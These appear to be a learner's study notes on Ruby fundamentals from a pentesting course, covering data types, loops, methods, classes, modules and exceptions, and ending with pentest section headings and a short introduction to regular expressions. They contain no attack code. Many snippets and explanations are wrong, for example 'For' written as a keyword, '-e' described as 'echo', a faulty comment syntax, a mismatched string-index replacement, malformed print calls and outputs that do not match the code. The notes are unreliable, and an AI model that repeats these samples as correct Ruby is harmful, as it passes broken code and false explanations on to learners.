Ruby Essentials

Installation 

Data Types

Control Structures

Methods, Variables and Scope

Classes, Modules and Exceptions

Installation and First Look

http://www.ruby-lang.org/
  • it comes pre-installed on MAC and many Linux distros like Kali.
  • in windows you can install: http://rubyinstaller.org/

Verify version:

ruby -v

Update:

apt install ruby_version

Online ruby interpreter:

→ http://tryruby.org/

  • Ruby From other language:

→ https://www.ruby-lang.org/en/documentation/ruby-from-other-languages/

Getting Started

ruby -e "puts 'Hello World"
# Output: Hello World

// -e = echo (it shows the command directly) // puts = print

You can run interactive Ruby programs using the irb tool:

irb --simple-prompt

Suggestions

  • If you plan to use Ruby scripts intensively, we suggest you use the bash exection shortcut (called shebang) if you are using Linux based system or associate the Ruby files on Windows.

Path of your Ruby interpreter:

which ruby

therefore our script must begin with the shebang

 #!/usr/bin/ruby

The power of Ruby

Read files like cat:

ruby -pe 0 'file'

// -pe 0 ‘file’ = read file line to line printing them to stdout and For each line it executes the 0 command

Count the number of the lines of a file:

ruby -ne 'END {print "Lines:",$.,"\n"}' file

# -n = puts the code into a loop
# -e = execute one line of ruby code
# print = prints the following string to stdout without a new line at the end
# END = executes the next block of instructions
# $. = global variable that holds the last line number read by ruby interpreter
# . = used to concatenate strings

Replace lowercase with uppercase, and create a backup of the original:

ruby -i.bak -pe 'gsub "foo","FOO"' file_name

# -i = specifies in-place edit mode (edit each line read by -p instead of write it to stdout). If an extension is provided (.bak), ruby makes a backup of the original
# gsub = stands For global substitution (replace the first argument with the second)

We suggest you see the Ruby man page or the Help

Libraries

  • There are different sources of libraries

→ the most famous: http://rubygems.org/

  • Its a Ruby packaging system designed to facilitate the creation, sharing and installation of libraries.
  • Other sources: RubyForge, GitHub, Ruby Toolbox

RubyGems

  • gem help

Search For gems:

gem search <string>
gem search -r http // -r = remote

Install the gem you want:

gem install <gem name>
gem install openssl-extensions
gem install -h

List installed gems:

gem list

A very useful gem is pry

gem install pry
// it provides an interactive environment with many interesting features such as syntax highlighting
pry --simple-prompt

Data Types

  • everything is an object

Numbers


4.odd?
# Output: false
4.even?
# Output: true
10.next
# Output: 11
10.pred
# Output: 9
25.to_s
# Output: "25"
65.chr
# Output: "A"
15.integer?
# Output: true

In general, if a method ends with the question mark, it means that the returning value is a boolean.

Float


10/3.0
# Output: 3.3333
2.0.integer?
# Output: false
2.49.round
# Output: 2
2.51.round
# Output: 3
2.51.ceil
# Output: 3
2.51.floor
# Output: 2

Anticipation

  • pygmentize ip_upto.rb
  • ruby ip_upto.rb 192.168.1 10 20
  • //will print 192.168.10~20

Comments


# Comments ...

!=begin
  comments in between
=end

Strings

  • use both single and double quotes

Single quote support two escape sequences:

\' and \\

Double quotes support a lot:

\" = double quote
\r = carriage return
\s = space
\\ = single backslash
\n = newline
\t = tab
  • Also note that instead of using double or single quotes, you can use % (percent character)
You can also use % with brackets, parenthesis, braces or <> signs.
  • Using alternative Ruby quotes (% characters and custom delimiters) you can write strings containing double or single quotes without escaping them.
- With %q and %Q you can start respectively strings that works as delimited single ( ' ' ) and double quoted ( " " ) strings.
- both %q and %Q need a custom delimiter too and you can also use the special delimiters:

{},[],(),<>

print %q!Like single quote, \n is not interpreted as new line!
print %Q!Like double quote, \n is interpreted as new line!

Info about strings

  • You can define local variable with a lower case letter or an underscore character ( _ ) as first variable character.

some examples:


st = "A string"

st.empty?
# Output: false
st.clear
# Output: ""
st.empty?
# Output: true
st = "Another string"
st.length
# Output: 14
st.size
# Output: 14
st.start_with? "An"
# Output: true
st.end_with? "ing"
# Output: true
st.start_with "an"
# Output: false
st.end_with? "String"
# Output: false

// remember that a string is an object. You can use all the public methods provided by String and its acestor classes. // by using pry you can display them using the autocomplete feature (pressing the tab key)

Here document notation

  • Heredoc provides a mechanism For creating free format strings - preserving special characters such as new lines and tabs. This is very useful if you need to use multi-line strings.

Example:

st = <<DELIMITER
  ... our 
  string,,,
DELIMITER

print st 
# will print the multi-line string

string Arithmetic

Different ways to concatenate:

# (+) Notation
str1 = "Hello"
str2 = "World"
result = str1 + " " + str2

# String Juxtaposition
str1 = "Hello"
str2 = "World"
result = str1 << " " << str2

# (<<) Notation
str1 = "Hello"
str2 = "World"
str1 << " " << str2

# OO Notation with concat Method
str1 = "Hello"
str2 = "World"
str1.concat(" ", str2)

You can repeate strings easily and also freeze them, so they cannot be altered:


# Using * for repetition
"string" * 2
# => "stringstring"

# Using << for concatenation
st = "A Ruby"
st << " String"
# => "A Ruby String"

# Freezing a string
st.freeze
# => "A Ruby String"
# The string is now frozen and cannot be modified anymore

# Attempting to modify a frozen string will result in an error
st << "!!!"
# => FrozenError (can't modify frozen String)

  • Freeze operates on an object, not on a variable that holds the pointer to the object. Therefore its legal to assign a new object to a variable that refers a frozen object. Indeed you are working with a new object.
  • You can test if the string is frozen with frozen? method.

String substitution

  • [index] method can easily change sections of strings.

st = "We are using Perl"
st["Pearl"] = "Ruby!!!"
st
# Output: We are using Ruby!!!

  • Another way is sub and gsub

The first replaces the first occurrence, while the latter replaces all the occurrences.

st.sub("Perl","Ruby")
  • sub and gsub just return a copy of the string with the proper substitution. If you want to modify the original string, you have to use sub! or gsub!
  • you cant use sub!/gsub! on a frozen object.

You can insert some text into a specific position of a string:

st = "bcde"
st.insert(0,"a")
# Output: abcde

-3, it works like python. It counts from the end.

Interpolation

  • Allows to write Ruby code into a string. This means you can put any code you want to run enclosed in
ruby#{}

And result of the code will appear in the string:

"string #{Ruby code} string"
example:

#{2*4} apples on the tree
 # Output: "8 apples on the tree"

name ="john"
# Output: "My name is #{name}" 
# just like python fstring

Some useful methods

  • Sometimes you may have to do some simple operations with text or string
  • upcase, capitalize, reverse, and so on

Array

  • A Ruby array is an object that contains other objects which can be accessed using integer indexes. An array can include all type of objects, including other arrays (this is called multidimensional array).
my_array = Array.new(2)
my_array[0] = 5
my_array[0] = 9
my_array
# Output: [5,9]
my_array<<7 
my_array
# Output: [5,9,7]

// it can be accessed through indexes // it can have multi layers of arrays // by changing a variable inside the array, it also changes the array/variable and vice versa

Insertions

  • it can be done via ‘«’ operator // like bash
  • also with ranges [..]

Deletion

a.delete(4) 
# through element

a.delete_at(2) 
# through index position

concatenation

  • You can concatenate arrays with + operator or an OO style with .concat method.

Operations between arrays

You can treat an array as a set and perform operations like:

# Union ( | ): concatenates two arrays (removing duplicates)
# Intersection ( & ): Only elements that are common to both arrays are returned (removing duplicates)
# Difference ( - ): returns the first array without the elements contained into the second array

# Example:

arr1 = [1, 2, 3]
arr2 = [3, 4, 5]

# Union (|)
union_result = arr1 | arr2
puts "Union: #{union_result}"

# Intersection (&)
intersection_result = arr1 & arr2
puts "Intersection: #{intersection_result}"

# Difference (-)
difference_result = arr1 - arr2
puts "Difference: #{difference_result}"

# Output:
# Union: [1, 2, 3, 4, 5]
# Intersection: [3]
# Difference: [1, 2]

stack

  • Ruby arrays provide push and pop methods

Some useful methods

Moreover the array class provides a lot of interesting and useful methods such as:

sort
reverse
uniq
max
min
  • Note that some methods come both with and without the exclamation point ( ! )
  • so when its done, also affects the original variable/object

Arrays and Strings

  • You can easily create a String starting from an Array (and vice versa) using the join method.
  • and to create an array starting from a String using the split method // just like python

→ moreover: http://www.ruby-doc.org/core-1.9.3/Array.html

References

→ http://www.ruby-doc.org/core-1.9.3/

Ranges and Hash

  • Ruby Ranges allows data to be represented in the form of a range. You can create different ranges of values: numbers, characters, strings or objects in general
  • A range is made of a start value, an and value and a range of values in between.

Two ways to create ranges:

the inclusive (a..b) 
# 2 dots - it includes all values
the exclusive (a...b) 
# 3 dots - it excludes the last value (in this case 'b')

Example:

(2..4).to_a // to_a = means to array
# Output: [2,3,4]

(2...4).to_a
# Output: [2,3]

# the same with letters
# differents data types supports differents methods

example float:
(1.0..3.0).step.to_a //without step it bugs
# Output: [1.0, 2.0, 3.0]

Another methods:

min
max
begin
end
etc

You can check if a value belongs to the range using the include method or the === operator

(2..10).include?(4)
# Output: true

(2..10) === (14)
# Output: false

Ranges can be expressed using variables too

a = 5
b = 10
a..b
 # Output: 5..10

(a..b).to_a
 # Output: [5,6,7,8,9]

Hashes

  • similar to arrays. The main difference is that hashes are like dictionaries, so instead of using integer indexes

You can use an object index as key:

character
string
regex
symbols
and so on
  • Obviously the value of an hash element can be of any type
  • to define a hash you must use {} instead of []
  • The inline syntax allows you to create an hash very quickly using the operator =>. The value on the left of the operator is the object index while what follows is its values.

  • To avoid quotes in hash keys, Ruby allows symbols based key values:

→ http://ruby-doc.org/core-1.9.3/Symbol.html

  • Symbols are a particular feature in Ruby. Generally they are a data type, but Ruby handles them in a special way.

  • A simple way to use them is by adding a colon (:) before the key name (that becomes a symbol).

Note that there are no quotes:

hash = {:name => 'Bob', :age => 25, :gender => 'M'}
hash[:name]
# Output: "Bob"

Can be used a rapid notation (KEY:VALUE)
  hash = {name: 'Bob', age:25, gender:'M'}
# but does not work For integer key value

→ moreover: http://www.ruby-doc.org/core-1.9.3/Hash.html

Basic Control Structures

→ http://ruby-doc.org/docs/keywords/1.9/Object.html

Comparison Operator

operator description
== Equality operator
.eql? Equality operator (OO style)
!= Inequality operator
< less than
> greater than
<= less than or equal to
>= greater than or equal to
a <=> b
0 - if a == b
1 - if a > b
-1 - if a < b

Conditionals

if x > 5 then
  puts "\ngreater than 5\n\n"
end
if x < 20
  puts "less than 20\n\n"
end

# we can use else also
# and elsif // like python
x = 10
puts "x is integer \n" if x.is_a? Integer
# Output: x is integer
  • Everything is an expression. Expressions like print or puts have a return value too (nil in this case is)

Unless

  • THe unless steatment is the opposite of if. It executes the associated code only if the conditional expressoin return false or nil.

Case

  • The case statements is a valid substitute For if/elsif
  • It tests in order each when clause until it finds a condition that returns true; otherwise the final else is executed.
x=1
case x
when 1 then print "one"
else print "I dont know"
end

x=1
name = case x
when 1 then print "maria"
else print "I dont know"
end

x=1
name = case
when x == 1 then print "luna"
else print "I dont know"
end
  • The equality operator === is useful to work in Ranges.

With Classes and Instances too:

String == "Hello"
# Output: false
String === "Hello"
# Output: true

Ternary Operator

>> test_expr? true_expr : false_expr
>> name == "Bob" ? "Hi Bob" : "Who are you?"

Loops

While:

while <expression>
  <..block> 
end

the keyword do is required with inline basic while statement instead

print i+=1, "\s" while i < 5

print array.pop,"\s" while !array.empty?

Until:

until <expression>
  <block>
end

the keyword do is required with inline basic while statement instead

For:

for <var> in <collection>
  <block>
end

for x in [10,20,5] do
  print i*2."\s"
end

- with range
for i in 1..10
  print i*2,"\s"
end

Iterators

Its a method that allows you to loop through the members of a colletion:

(1..5).each { |i| print i*2,"\s"}
# Output: 2 4 6 8 10

(1..5).each  do |c|
  print i*2,"\s"
# Output: 2 4 6 8 10

Enumerable Objects

  • other common enumerable objects are Arrays, Hashes and Ranges.
  • stataments like collect/map, select, reject, inject are iterators too
  • each of them can be used either to modify the original collection (just append the exclamation mark ! at the end of the method) or to create a new collection starting from the original.

collect/map statements are synonymous:

array = [1,2,3]
array.map {|x| x**2}
# Output: [1,4,9]

select returns an array of the original collection elements For which the associated block returns a positive value (no false, no nil)


- array.select { |x| x>2}
# Output: 3,4,5
  • reject is the opposite of select. it returns an array of original collection elements For which the associated block returns a false or nil.

  • inject - The block associated to inject has two arguments. the first is an accumulator from previous iteration while the second is the next element of the enumerable object.

array = [ 2,3,4,5,6,7]
array.inject {|mul,x| mul * x}
 # Output: 5040
  • the mul its the accumulator, so its gonna save each of the results and keeping multiplying until the list is over
  • The value of the accumulator is the initial value of the list, but can be specified with round brackets ( )
array = [ 1,2,3,4,5]
array.inject(100) {|sum,x| sum + x}
 # Output: 115

Enumerator

  • its an object whose purpose is to enumerate another enumerable object. This means that enumerators are enumerable too.
  • when we used each, map, select, etc., we implicitly used enumerators too.
  • usage: example, if you have a method that uses an enumerable object, you may not want to pass the enumerable collection object because its mutable and the method may modify it.
  • So you can pass an enumerator created with to_enum and nothing will happen to the original enumerable collection.
  • moreover: http://ruby-doc.org/core-1.9.3/Enumerator.html

External Iterators

  • There is also the possibility to use an enumerator object as an external iterator.
  • Enumerator objects allow you to control the iteration by yourself so you can create what is called external iterator.

Example:

  [1,2,3,4]
enum = a.to_enum
enum.next
# Output: 1
enum.next
 # Output: 2
enum.next
# Output: 3
enum.next
 # Output: 4
enum.next
# Output: error

Altering Structured Control Flow

Like others programming languagues, in Ruby we can use:

break
next
redo
  • break transfer the control out of the loop or the iterator where it is contained.
  • if true, the next operation is the first statement after the end keyword.
For i in 1..10
	print i,"\s"
	break if i==5
end

# Output:  1 2 3 4 5
  • next statement ends the current iteration and jumps to the next one. All the instructions that follow are not executed. It works the same way of the continue statement used in Java or C.
For i in 1..10
	next if i==5
	print i,"\s"
end

# Output: 1 2 3 4 6 7 8 9 10
  • Redo restarts the current iteration from the first instruction in the body of the loop or iteration

sum = 0
For i in 1..3
	sum +=i
	redo if sum == 1
end

 # Output: 7
 # 1 + 1 + 2 + 3 = 7 >> the 1 repeats because of the redo

Begin / End

  • BEGIN allows the execution of Ruby code at the beginning of a Ruby program
  • END allows the execution of Ruby code at the end of a Ruby program

BEGIN {
  puts "\n","Beginning code","\n"
}
END {
  puts "\n","Ending code","\n"
}

puts "\n","Normal code","\n"

Output:

  Beginning code
  Normal code
  Ending code

If there are more than one BEGIN block, they are executed following the order in which the Ruby interpreter encouters them.

END block instead, are executed in the reverse order in which they are encountered

Methods

  • Methods are a common structure - available in all high level programming languages.
  • They are used to define code abstraction, providing a specific semantic (what they can do) but hiding the implementation (the code necessary to obtain the semantic)

Simple method definitions

Syntax:

def <method name> (<arguments list>)
  ...<code block>...
end

// arguments list - can be empty

def double (x)
  return x*2
end

double(2)
# Output: 4

Parentheses

Ruby is flexible, it allows parentheses to be omitted when you invoke a method ( a space os required between the method name and the argument)

fibonacci(5)
fibonacci 5
# both are correct

Alias

  • Ruby allows one to define aliases For methods
  • This is helpful if u wanna to have a method with a more natural or expressive name
def method_in_ruby
  puts "whatever"
end
alias mir method_in_ruby

mir
# Output: "whatever"

Aliases are commonly used as a backup in order to extend the ability or functionality of a method

Parameters Default Values

U can specify default values For parameters of your methods. These values will be assigned when an actual parameter will be omitted.


def print_name(name = "unknown")
	print "\s",name,"\s"
end

print_name "john"
# Output: john
print_name # <anything as parameter>
# Output: unknown # <the method grab the default value>

Variable Length Arguments

  • U can create a method that is able to handle variable length arguments as parameters
  • U have to add an * before one (and only one) of the parameters of your method
  • Then u can call the method with whatever arguments u want
  • The parameter with * captures them as an array

Example:

def method (first, *others)
  puts "first is: "+first.to_s
  print "others: "+others.to_s
end

method(1,2,3)
  first: 1
  others: [2,3]

Hashes as Arguments

  • with hashes, you can invoke a method specifying explicitly (at calling time) the name of arguments.
  • Usually this style of programming is ideal when you have symbols such as hash key values. Therefore Ruby provides an elegant and useful syntax.

Example:

def printPerson(hash)
  name = hash[:name] || "Unkown"
  age = hash[:age] || "Unkown"
  gender = hash[:gender] || "Unkown"
  print name, "\s",age,"\s",gender
end

printPerson name:"ana",age:27
# Output: Ana 27 Unknown

Block Arguments

  • Inside the method, we can invoke the code in the block with the yield statement.
  • Iterators do it For us silently
  • Yield transfers the control flow to the block associated with the method invocation

Example 1:

def method
  puts "inside method"
  yield
  puts "Again inside method"
  yield
end

method {puts "In the BLOCK now" }

output:

  Inside method
  In the BLOCK now
  Again inside method
  In the BLOCK now
  • You can pass arguments with yield and use them in the block

Example 2:


def double(x)
  yield 2*x
end

double(5) { |x| print x }
# Output: 10=>nil
double(5) { |x| puts x }
# Output: 10
double(5) // without block 
# Output: error
  • Yield is often used with iteration
  • This example method generates all the even numbers that are less than n and the block prints them to stdout.

Example:

def even(n)
  for i in 2..n
    yield i if i % 2 == 0
  end
end


even(10) {|x| print x, "\s"}
  2 4 6 8 10 => 2..10
  • if u do not want to use yield, Ruby allows you to pass a block as an argument. With this strategy, the block becomes an instance of the Proc class and u have to use call instead of yield to transfer the control to it.
  • To specify that an argument will be a Proc object that encapsulates a block you must use the ampersand (&) in method definition.

Example 1:

def square_cube(n,&p)
  For i in 1..n
	  p.call(i**2) # or yield i**2
	  p.call(i**3) # or yield i**3
  end
end

square_cube(5) {|x| print x,"\s"}
	1 1 4 8 9 27 16 64 25 125 => 1..5
  • Proc object as normal argument values
square = Proc.new {|x| print x**2,"\s"}

def print_proc(n,pr)
  for i in 1..n
	  pr.call(i)
  end
end

print_proc(8,square)
# Output: 1 4 9 16 25 36 49 64 => 1..8

Bang methods

  • They are methods that end with an exclamation mark !
  • They modify the object that is called.
  • Usually common bang methods are related to Array or Hash.

Returned Values

If we return more than one value, its converted to an array automatically:

def ret_value
  return 1,2,3,4
end
array = ret_value
	[1,2,3,4]
array
	[1,2,3,4]

Variables & Scope

  • Ruby is dynamically typed language: u can create a variable without specifying its type.
  • It infers the type from the type of object u assign to it
  • u can change the type of variable by changing its referenced object type

There is 4 types of variables in Ruby:

local: visible within a method or block
global: visible throughout a Ruby program
instance: visible within an object instance
class: visible within all class instances

Local variables

  • begin with a lowercase letter or an underscore _
  • they are visible within a specific local area of the Ruby source code (method, class, module).
  • Statements like For, While, iF, etc.. do not define a new scope. Variables defined inside them are still accessible outside.

→ kernel statements - http://ruby-doc.org/core-1.9.3/Kernel.html

  • define new scope

Example: loop

The following control structures define a new scope:

def ... end
class ... end
module ... end
loop { ... }
proc { ... }
iterators/method blocks
the entire script

u can verify the scope of a variable by using the define? method

Global variables

  • begins with the $ special character. It has a global scope, meaning that it can be visible and accesible. anywhere in the program.

Some pre-defined global variables. Some examples:

$* : array of command line arguments
$0 : name of the script being executed
$_ : last string read by gets
  moreover: http://ruby-doc.org/core-2.0/doc/globals_rdoc.html

Example: reads a line and prints it:

print "write something: \t"
$stdin.gets
print "gets: \t\t\t",$_
puts

Instance & Class Variables

  • class variables begin with @@ and they are visible by all instances of a class
  • instances variables begins with @. They are local to specific instances of a class

Constants

  • Begins with an uppercase. THey should not be changed after their initialization
  • However Ruby allows u to change them but with a warning
  • Belongs to the scope

Example:

A = 100
module B
  A = 200
end

A
# Output: 100
B::A
# Output: 200
// we can access the constant of the module by using its namespace B::A

Another global examples:

ARGV : holds command line arguments
ENV : holds information about environment
// moreover: http://ruby-doc.org/core-2.0/doc/globals_rdoc.html

tricks

We can declare multiple variables:

    a,b,c = "a","b","c"

Swap two variables without using a temporary one:

x=10
 y = 20
x,y=y,x

Classes Principles

How to define a class:

class <Name>
  ...<class body>...
end
 <Name> must begin with a capital letter. This holds because Ruby creates the constante <Name> to refer the class, so the capital letter is required.

Create a class:

class Myclass
  def hello
	print "Hello"
  end
end

// instantiate an object
MyObj = MyClass.new

// invoke an object method
MyObject.hello
# Output: Hello

→ moreover: http://ruby-doc.org/core-1.9.3/Class.html

Instance Variables

  • are variables available only to each instance of the class, meaning that they change from object to object.
  • they are defined within class definition using the special character @
  • instance variable are only accessible via the instances public methods. So you have to define accessors methods to read them and setters methods to set them.

To inialize them, the default constructor method in Ruby is initialize


class MyClass
  #constructor method
  def initialize(a)
	  @a = a
  end
  # setter method
  def a=(value)
	  @a = value
  end
  # getter method
  def a
	  @a
  end
end

// All instances of MyClass have their own instance variable (@a) which is accessible thanks to the getter and the setter method ‘a’.

  • instances variables are resolved in the context of self. When we invoke a method, self refers to an instance of a Class. Otherwise inside a Class but ouside any method, self is the object that represents the class,

Getter / Setter through Metaprogramming

  • with the attr_accessor keyword, Ruby silently defines a getter and a setter For us.
  • it requires a symbol notation but it defines real instance variables @x, @y
class QuickGS
  attr_accessor :x,y
end
obj = QuickGS.new

obj.x, obj.y = 100,300
print obj.x" " obj.y
# Output: 100 300

with the attr_reader keyword, Ruby silently difines a getter.

class QuickG
  attr_reader :x,y
  def initialize(x,y)
	@x,@y = x,y
  end
end
obj = QuickG.new(10,20)
  • we can print, but we cant set
  • because the setter has not been defined

  • Attr is another useful keyword

If used alone, it defines a getter while with true it defines a setter too:

class QuickGS
  attr :x,true
  attr :y
  def initialize(x,y)
	@x,@y = x,y
  end
end
obj = QuickGS.new(10,20)

obj.x = 100
# Output: 100
obj.y = 200
# Output: error

Class Methods

Self refers the current object:

class C1
  def self.say
	print "hello"
  end
end
c1.say
# Output: hello

  • Since a Class is an object, we can define Class object instance variables with getter and setter too.
  • Class methods may be defined in a few other ways:

→ Using the class name instead of self keyword

→ Using the « notation

the « notation is useful when u work with classes that have been already defined.

Class Variables

  • must start with @@ and its shared among all class instances

Class Contants

They are accessible from outside using ::notation

class MyClass
  C1 = "hello"
MyClass::C1
# Output: hello

Open Classes

  • Generally in conventional OO languages, when you close the class definition you cannot add anything else in it, unless you use some advanced technique and tools like reflection

Ruby allows u to open a defined class in order to add other methods, constants, etc

class String
  def dsize
	self.size * 2
  end
end
"Hello".size
# Output: 5
"Hello".dsize
# Output: 10
// the string class already exists, the method dsize is added to it.

Operator Methods

  • Point class represent a simple point in Euclidean geometry.

Example:

p1(1,2) - p2(10,20)
p1 + p2 = p3(11,22)
  • The sum of two points will return a new point that contains the sum of the coordinates x and y
class Point
  attr :x,:y
	
  def initialize(x,y)
    @x,@y=x,y
  end
  def +(other)
    Point.new(@x+other.x,@y + other.y)
  end
end

// two coordinates (x,y). each of them has a getter // there is no setter or other method to change them

Mutable / Immutable values

  • In the previous Point example, we used Point as immutable values
  • This new Point class creates a mutable object value. Each coordinate has its own setter
class Point
  attr_accessor :x, :y
  
  def initialize(x, y)
    @x, @y = x, y
  end

  def +(other)
    @x += other.x
    @y += other.y
    self
  end
end

  • The + operator changes the first object and returns it as a result.
  • A Point value can change its coordinate values using both the setters and + operation.

Method Visibility

  • Ruby allows u to define protected and private methods too

Private Methods

  • u can define private instance methods and private class methods
  • Private instance methods can only be called by other instance methods of the class (and subclass). You cannot call them from outside an object.

A famous Ruby private instance method is initialize. U cannot call it from outside:

obj.initialize > error
  • initialize is an exception because in Ruby all methods are public by default

  • Private instance methods are defined using the private keyword. With used without arguments, all the methods bellow this keyword are private

Example 1:

class AClass
  # Public methods
  def getName
    privateName
  end

  private
  # Private methods below
  def privateName
    "I'm AClass"
  end
end

Example 2:

# u can specify which methods to treat as private

class AClass
  # Public methods
  def getName
    privateName
  end

  def privateName
    "I'm AClass"
  end

  # Specify private methods
  private :privateName
end

  • if u want to specify class methods as private
  • u can use the private_class_method keyword

Protected Methods

  • Protected methods work as private methods but protected methods may be called by any instance of the defining class or its subclasses.

A full view

class ComplexClass
  # Public instance methods

  protected
  # Protected instance methods

  private
  # Private instance methods

  class << self
    # Public class methods

    protected
    # Protected class methods

    private
    # Private class methods
  end
end

  • Private methods is not a secure way to hide something. A different technique such as meta-programming (via send method) or reflection API allows to bypass private/protected methods

→ moreover reflection API = http://en.wikipedia.org/wiki/Reflection_(computer_programming)

Subclassing & Inheritance

  • A mechanism to extend a class in order to modify its behavior or add new functionalities: subclassing
  • A class may have multiple subclasses but classes in general can only extend one class (a class has only one superclass).
  • When u define a new class, if nothing is specified, it automatically extends the Object Class.
  • The Objec Class extends another Ruby utility Class: BasicObject
  • Therefore the root class in Ruby is BasicObject

Simple extensions

- Extending a class is very simple, just use the **<** operator. 
- A class inherits all superclass methods
class Person
  attr_reader :name

  def initialize(name)
    @name = name
  end
end

class Italian < Person
end

marco = Italian.new("Marco")
puts marco.name
# Output: Marco

Methods Overriding

  • subclassing is Ruby is strongly discouraged if u do not properly know the superclass that u want to extend
  • u might override some private methods that are fundamental For the class to work properly
  • To override a method, simply define it in the subclass.
  • A common overridden method is to_s = to string

By default a class extends the Object class and that to_s is a method that Object class hold:

class Italian < Person
  def to_s
    "Sono #{name}"
  end
end


marco = Italian.new("Marco")
marco.to_s
# Output: Sono Marco

Specialize a Method

  • the super keyword help us avoid the complete redefinition of method behavior
  • with super, u can call the method of the superclass

u can use super with or without arguments:

class Vehicle
  def initialize(type)
    @type = type
  end

  def to_s
    "I'm a #{@type} vehicle"
  end
end

class Car < Vehicle
  def initialize
    super("land")
  end

  def to_s
    super + ". I'm a car"
  end
end

Instance and Class Variables

  • Inheritance does not affect instance variables
  • Class variables are shared and visible from instance methods, class methods and by the class definition itself.

Constants

  • They are inherited and they can be overridden
  • when u try to override an inherited constant, Ruby creates a new one with the same name but available only For the subclass.

Private methods

  • Private methods can be used inside inherited classes
  • Private methods are inherited

Protected methods

  • They are inherited and can be used similar to private methods
  • The difference is that you have to use them in an explicit way (object.method notation) when used inside (and not outside) a class or subclass.

Modules

  • http://ruby-doc.org/core-1.9.3/Module.html
  • its used to define namespaces and mixins.
  • A module is essentially a collection of methods, constants and class variables with a name.
  • The main difference between classes and modules: → Modules cannot be instantiated → They cannot be subclassed, therefore there is not a module hierarchy

Namespace

  • Is a way to collect and bind related methods and constants, giving them a name that helps u to use them.
  • http://ruby-doc.org/core-2.1.0/Math.html
  • Math is the most suitable example of modules used as namespace
  • Its a collection of mathematical constants (PI and E) and methods, especially For basic trigonometric and transcendental functions.
  • Modules and namespaces allow u to define custom Libraries: collection of constants, classes, other modules and so on.

Mixin

  • Mixin means that if a module defines instance methods (instead of class methods), those instance methods can be mixed into another class; the implementation of the class and the module are joined.
  • To mix a module into a class, use the include keyword

Example:

module B
  def hello; "Hello"; end
end

class A
  include B
  def world; "World"; end
end

obg = A.new

print obj,hello, " ", obj.world
# Output: Hello World =>nil
  • Two useful Ruby modules designed For mixin are Comparable and Enumerable
  • if your class defines the operator <=>, u can include Comparable to get free operation like:
'<','<=','==','>','>=' and between?
  • If Enumerable is mixed with your class, it gives u sort, find, min, max, etc… without the need to implement them
  • The Ruby platform provides other usable classes as well. Each one requires that your target class implements some methods in order to work correctly.

Namespace and Mixin Together

  • Nothing prevents the use of a module both as a namespace and as a mixin; just provide both instance and class methods to the module

Math For example: once we include Math, we do not need to specify Math:: to access its contants, methods and so on

Math::PI
# Output: 3,14
Math::E
# Output: 2.71
Math::sqrt(25)
# Output: 5.0

include Math
Object
PI
# Output: 3,14
E
# Output: 2.71
sqrt(25)
# Output: 5.0

Exceptions

  • http://ruby-doc.org/core-1.9.3/Exception.html
  • we should provide some code to execute when theses errors happen in order to retrieve a correct execution flow.
  • usually subclasses of exception are used to add information about the type of exception raised or to distinguish different exceptions.

Raise

  • Exception are objects but they are usually created with the method raise (instead of new).
  • Raise alone creates a RuntimeError

RuntimeError

raise "A runtime error"

Other Errors

With raise, you can specify the Error type too:

 raise ArgumentError, "Invalid argument"

def int_sum(a,b)
  raise(ArgumentError,"a isn't Int") if !a.is_a?Integer
  raise(ArgumentError,"b isn't Int") if !b.is_a?Integer
  a + b
end

inst_sum "a",10
# Output: "a isn't Int"

Custom Error

  • ArgumentError, RuntimeError, ZeroDivisionError are subclasses of StandardError
  • Lets use NoIntError
  • First we define the new class NoIntError that is inherited from StandardError.

Its our custom error class:

class NoIntError < StandardError; end;

def int_sum(a,b)
  raise(NoIntError,"a isn't Int") if !a.is_a?Integer
  raise(NoIntError,"b isn't Int") if !b.is_a?Integer
  a + b
end

inst_sum "a",10
# Output: "a isn't Int"

Rescue

→ http://ruby-doc.org/core-1.9.3/Exception.html

  • If u want to handle an exception and execute some arbitrary code when it happens, you can use rescue
  • rescue is defined as a clause that can be attached to other statements (begin is the most common)

Simple Rescue

  • $! refers to the last Exception object
  • if u call the fact method with an integer less than 0, its executed infinite times because return statements are always false. Therefore at some point, the script spends all its memory.
  • At some point, an exception is raised by Ruby because the stack is full. Rescue catches the exception object and global variable $! stores it.
def fact(n)
  return 1 if n==0
  return 1 if n==1
  n * fact(n-1)
end
begin
  a=fact(ARGV[0].to_i)
  p a
rescue
  p $!.message
end

Exception Objects

  • $! refers to the last exception object. u can use a personal variable with rescure.
  • In the example, we use exc instead of $!
def fact(n)
  return 1 if n==0
  return 1 if n==1
  n * fact(n-1)
end
begin
  a=fact(ARGV[0].to_i)
  p a
rescue => exc
  p exc.message
end

Type based exception handling

  • U can handle exceptions by their type: ```ruby

def int_sum(a,b) raise TypeError if !(a.is_a?Integer) raise TypeError if !(b.is_a?Integer) a + b end

begin print “2 + 3 = “.int_sum(2,3),”\n” print int_sum(2) if ARGV[0] == “argument” print int_sum(“a”,10) if ARGV[0] == “type” rescue ArgumentError => ae print “ArgumentError rescue: “ print ae.message, “\n” rescue TypeError => te print “TypeError rescue: “ print te.message,”\n” end


> Rescue can follow any statement. If an exception occurs, the body of rescue is executed.

### Other Clause
```ruby
- retry
- else
- ensure

Retry

  • its a clause that can be used inside a rescue clause to re-execute the block of code that has caused the exception.
  • Imagine that u want to update a db and an exception occurs (a network error, a DB error, etc). U may try again (the network may be available later).
  • with retry u can do that
  • example: ZeroDIvisionError
a = ARGV[0].to_i
b = ARGV[1].to_i

begin
  print "#{a} / #{b} = "
  print a / b,"\n"
rescue
  print "Error\n"
  b=1
  retry
end
  • Be careful when using retry, cause it can cause a infinite loop

Else

  • Its used to execute some arbitrary code when rescue does not catch any exception
  • else may be put after a rescue clause.
begin
  # code
rescue
  # code
else
  # code
end

Ensure

  • its used to specify some code that is always executed at the end of the begin flow.
  • The code is always executed even if an exception occurs inside the main control flow.
  • ensure may be inserted after all rescue and else clauses.
begin
  # normal flow
rescue
  # exception handling
else
  # no exception occur
ensure
  # always executed
end

Methods, Classes and Modules

  • U can use all the previous concepts and clauses with methods, classes and modules as well without the need of begin keyword

Example:

def my_method(a,b,c)
  # normal flow
rescue 
  # exception handling
else
  # no exception occur
ensure
  # always executed
end

Ruby is much more

There are many other statements, techniques and features:

 Proc and Lamba abstraction
 Closures
 Functional programming and higher order function
 Reflection
 Metaprogamming

Pentest

Regular Expressions

Dates and Time

Files and Directories

File Stream

Working with Nmap Files

Regular Expressions

  • Its a set of characters that describes a search pattern
  • usually a pentester uses regular expressions to filter and extract information in documents, client-server communications, tools output, and much more.
  • For example, we can use them to extract all the email addresses of a web page as well as filter nmap results.
